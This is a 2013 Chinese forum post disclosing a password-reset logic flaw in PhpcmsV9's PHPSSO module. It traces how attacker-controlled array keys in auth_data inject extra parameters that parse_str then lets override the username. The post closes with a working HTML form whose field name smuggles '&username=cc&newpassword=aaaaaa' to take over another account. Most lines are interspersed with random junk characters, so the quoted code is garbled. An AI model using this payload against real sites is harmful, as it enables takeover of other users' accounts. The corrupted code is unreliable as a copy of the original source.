找回密码
 立即注册
查看: 2670|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:
/ b, Y0 X7 n) \5 f( ~: S2 S; y3 O" F2 U1 U  Z& D5 J8 S

: l) |# |$ ~1 @' iparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
' ~! L* J* O' a' R4 v/ X! D& y% W& k' m
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。" P( e/ c) @. _- g1 ~! A4 W- s
# t( L" w2 |5 I) Y% o) S: i
我把它留给了你们。, A# [6 b& Y  ^+ H* K, M
不知道你们发现了它没有。, ?+ c! c( O+ H/ d5 K  {& j

7 p2 e8 J. k0 m% |2 D4 Y" L; y  o我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。/ \9 T# d" h! Q. R5 t

. F  n1 t2 B% v4 `9 M, K% s% }0 A& Z所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
* C$ V$ [* D0 R& D% |- }" o' F8 B( A7 t1 D5 C
也就是
; c; g0 K9 ?3 n7 C' D1 ?
6 O, G, v2 t/ |8 a/ j' Kusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
: i' S4 _( _. C( E. _. r2 \  Y
$ n% i5 F; s1 A3 z$ c要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
7 v8 v/ t0 ?2 j! p& [9 j- M) p" E: N9 i: _( S1 u

) P" N* S* \4 q! w0 `; l( Q其实我们有这样的机会,看看代码,如下:
4 c) ^' r% t( ~) _6 T6 G( \. {: K& t- {( C

% S: K' ]: }4 x; h2 f! i% a  Hpublic function auth_data($data) {
. m; L- E0 F* d* }/ C$ j) g                $s = $sep = '';2 M) h+ l0 Y9 }/ c. b2 y
                foreach($data as $k => $v) {" F+ [1 Y2 p% H' C# U% ?& J- N
                        if(is_array($v)) {
  v: C( w9 T& V5 L                                $s2 = $sep2 = '';
) C5 r9 J4 O2 F  Q0 s) r$ r8 y                                foreach($v as $k2 => $v2) {+ I4 C0 q- ?" P, e5 n+ B& d5 E
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
5 T5 u( l$ n9 ]1 y6 {2 w$ T( n                                        $sep2 = '&';
3 _! r5 Z. d/ Z; F1 C" M3 t$ V                                }' x& C: M& T0 P/ t% p* M+ M
                                $s .= $sep.$s2;
* X/ U+ {1 I# N' _2 w1 e                        } else {5 }0 G- L$ J2 e
                                $s .= "$sep$k=".$this->_ps_stripslashes($v);2 |8 H; P# X- v3 I
                        }1 E& y2 l- z3 [$ Z( E; r, Q2 p# P8 Q
                        $sep = '&';; ^+ u8 `; W" n2 q4 L# m
                }# K; Q% m; ^9 A7 r4 ~

0 X7 Z! d9 ]- k; X* l" e                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
9 o5 c* w4 O# p                return $auth_s;* x/ v5 `! s, O3 E, ?: S
        }5 I7 y6 D0 n1 z1 [
& O' E3 `! @6 a
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
; v6 h$ A5 m4 \; J7 Z* T4 e, e0 x% h, |$ _9 k
举个例子" \7 G  A3 v# d0 a  X8 e# X8 Q
6 g+ R* e% W' }1 i/ a& v
$a[aaa=a&bbb] = 'a';* b4 w$ H4 v0 m  s% K1 p& j8 K* x
2 F6 q/ ]) B2 M! r
会变成aaa=a&bbb=a
7 H7 K* C* s5 g" {" a9 c. f3 [, [1 J* R& k
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。  q  l8 x* A9 f5 Z6 ^

8 e; d2 n$ }0 i% r3 A- m这个时候,我们可以再去看一个函数。
) G5 i" H. V4 j- b- S" d. B. x% k0 ~- n! t9 O: b, o
就在这个文件内:
" y$ M! K2 H$ }$ p% ?+ g+ W' x1 z8 w3 B. I# c. q" N# _

4 H: R# _$ |. B+ w% upublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
3 p) |- j$ `7 {2 B% G                if($email && !$this->_is_email($email)) {
3 F: ~/ a* w9 N+ z" F                        return -4;
6 n8 s, R0 N1 W: ]) T* G                }
" V& y5 D$ h+ E5 i                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
) ?( I2 J0 q: q4 O) F, e  E/ F        }
% s3 j2 T7 A# K5 R- s6 B: n. ?# n3 L# C8 G3 n' l
这是向通行证发了这样一个请求。
4 a+ f0 h% o$ p) l
8 A0 t- u4 j; N我们再跟到通信证代码里去看看,就会有所发现。2 f5 c- v5 p& @8 d9 ^+ r$ T4 C- p

4 F5 s8 m" w7 q& q5 `5 ]" m! |* v& @8 u4 ]( z/ d' f7 ]
public function edit() {3 _# l. |% ^3 e2 }- _+ t
//能省就省,太长了不是吗?6 J, `: y' Y! m) H/ }& J

/ @  s) c' Z1 g/ o: Iif($this->username) {) {7 r$ b, C% P9 b) v2 f+ n+ b
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。; n( Z/ K9 j9 C: x
                                $res = $this->db->update($data, array('username'=>$this->username));
5 ?+ e9 J+ O' T: O# S& I# J  Y  I                        } else {
: R1 z+ F+ z4 J/ d  Q                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
( w8 v& \- f! w! o0 L                                $res = $this->db->update($data, array('uid'=>$this->uid));* U9 L1 f8 A9 k, c2 v( v- G- l" H
                        }
. I5 R6 k! c  `
1 }( S. a# E- ^% R8 C/ y好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
% z" Y+ [- V- d% e' [5 p* O* h6 K9 E& C9 w. n# R' L3 n, r
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')0 a' y, [7 ?$ m# @3 q, d( k

3 O& y+ z  i+ W$ Q) P0 l3 i很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。: n/ M# }% J2 E4 P4 r
: O0 Z/ `- O. o4 C8 s
我当然找到了:( v! U; H$ ?+ S) D% N' f# W! }
phpcms9/phpcms/modules/member/index.php1 A+ b2 |2 B5 u( U8 B6 T
$ d6 ~& C' {4 Z- p; |1 B8 ?  S
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);' G1 K, C! i# \  s& V) f6 N7 Q

# q; D: e4 R# _' z$ d' `& O然后就没有然后了。
4 l; i4 t/ i' D
& k. ~, f. q# r, j* v( S# K6 y<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">, T2 Q+ |; l" S, Y  z" w; H
                                <table width="100%" cellspacing="0" class="table_form">
$ x1 Q; i$ e7 F6 G2 d                                        <tr>$ O+ L* j8 b: v: j6 l2 K% P$ O" S2 T
                                                <th width="80">邮箱:</th>        
! p8 S2 T6 ^# B3 [( j0 h% Y                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>- K. C/ d- g) e1 `2 s; Z! @; P5 j
                                        </tr>8 x! v# s+ j5 K" l! E' i! L
                                        <tr>6 w: d3 Y! r; e+ {% `
                                                <th width="80">原密码:</th>        * C, C0 {8 K0 W5 `
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
# Y; w, f7 W( r; Y0 Y                                        </tr>( L, F+ N! J* E( R8 z
                                        <tr>! x( {4 j) |  S5 G3 E
                                                <th>新密码:</th>
0 N, W: k: r0 w% ~                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
7 ]* ]& H/ n3 m$ |, ]9 e  `                                        </tr>6 p' V  f4 \0 {& G' I  N, T, M; W
                                        <th></th>  h( @% M; F4 R# f# D
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>( B5 L& G1 J3 `8 y
                                        </tr>
. `' g2 O* [% o1 b, Y- Y# [                                </table>* B: K9 p3 s; s, `1 G) y
" Y$ d" T  E* c. F# T
                               
$ ?3 W: A! l8 @, b6 V/ u6 d                        </form>
( {& W' o0 w, E1 V" C
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表